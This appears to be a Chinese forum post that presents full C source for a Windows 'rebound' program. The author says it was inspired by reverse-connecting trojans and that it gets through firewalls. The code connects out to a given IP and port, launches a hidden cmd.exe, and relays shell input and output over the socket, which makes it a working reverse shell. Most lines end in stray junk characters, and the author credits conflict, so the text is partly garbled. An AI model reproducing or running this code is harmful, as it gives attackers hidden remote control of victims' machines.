这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `O0v2?/f0
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/* ============================== TRX; m|
Rebound port in Windows NT @cSz!E}
By wind,2006/7 -1Tws|4gc
===============================*/ Q%q_
#include a?&oOQd-iP
#include :`oYD
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#pragma comment(lib,"wsock32.lib") 0xZq?9a
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void OutputShell(); E^Q|v45d
SOCKET sClient; iK'bV<V&7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h6la+l?x
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void main(int argc,char **argv) jjEkz 5
{ U0UOubA
WSADATA stWsaData; [ @&
int nRet; p@>_1A}qh_
SOCKADDR_IN stSaiClient,stSaiServer; R\1#)3e0
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if(argc != 3) Dj
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{ :] {+3A
printf("Useage:\n\rRebound DestIP DestPort\n"); wD}[XE?S
return; @yS
} r|6S&Ia>
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WSAStartup(MAKEWORD(2,2),&stWsaData); !<@k\~9^D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {i`BDOaL
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stSaiClient.sin_family = AF_INET; V+cHL
stSaiClient.sin_port = htons(0); DX4uTD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p\1[cz)B
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pH'#v]"
{ bU(t5
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printf("Bind Socket Failed!\n"); U!^\DocAY
return; fMI4'.Od
} W UDQb5k
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stSaiServer.sin_family = AF_INET; l 0jjLqm:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y(W>([59
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RY&Wvkjh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZGe+w](
{ 4E&URl0Bh
printf("Connect Error!"); ?VO*s-G:J
return; M*}C.E!
} pZ%/;sxYa
OutputShell(); asmMl9)(`
} T6%*t#8r
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void OutputShell() eHm!
{ F=$2Gz
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char szBuff[1024]; P ;PS+S9
SECURITY_ATTRIBUTES stSecurityAttributes; R0,
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OSVERSIONINFO stOsversionInfo; 8yA: C
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F+v? 2|03
STARTUPINFO stStartupInfo; d]$z&E
char *szShell; |:L<Ko
PROCESS_INFORMATION stProcessInformation; _:?)2 NV
unsigned long lBytesRead; %AXa(C\1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JrQ*.lJj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KYu3dC'/,&
stSecurityAttributes.lpSecurityDescriptor = 0; rhHX0+
stSecurityAttributes.bInheritHandle = TRUE; -=s7Q{O8Z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wVP{R3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <dLdSEw
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u&mB;:&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `.>2h}op
stStartupInfo.wShowWindow = SW_HIDE; n,bZj<3t
stStartupInfo.hStdInput = hReadPipe; (Lo<3a-]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Jou~>0,/j
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GetVersionEx(&stOsversionInfo); 6Z\[{S];
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switch(stOsversionInfo.dwPlatformId) =YR/X@&
{ $ThkK3
case 1: 7-nwfp&|$
szShell = "command.com"; yE.
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break; A d=NJhzl
default: 9<W0'6%{/
szShell = "cmd.exe"; d_-{-@
break; .^X IZ
} JGHQ_AI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zQV$!%qR
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send(sClient,szMsg,77,0); "AS;\-Jk
while(1) GX4# IRq
{ g0 \c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,3qi]fFLMe
if(lBytesRead) 7ZI!$J|
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w(]Q`
send(sClient,szBuff,lBytesRead,0); D"El6<3)h
} 5YQ4]/h
else &|LZ%W0Fb
{ cP`o?:
lBytesRead=recv(sClient,szBuff,1024,0); &$ia#j{l
if(lBytesRead<=0) break; aF;QSI
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -^Baxkq(YM
} P`v%<
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} L!|c: 8
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return; ]/XNfb
}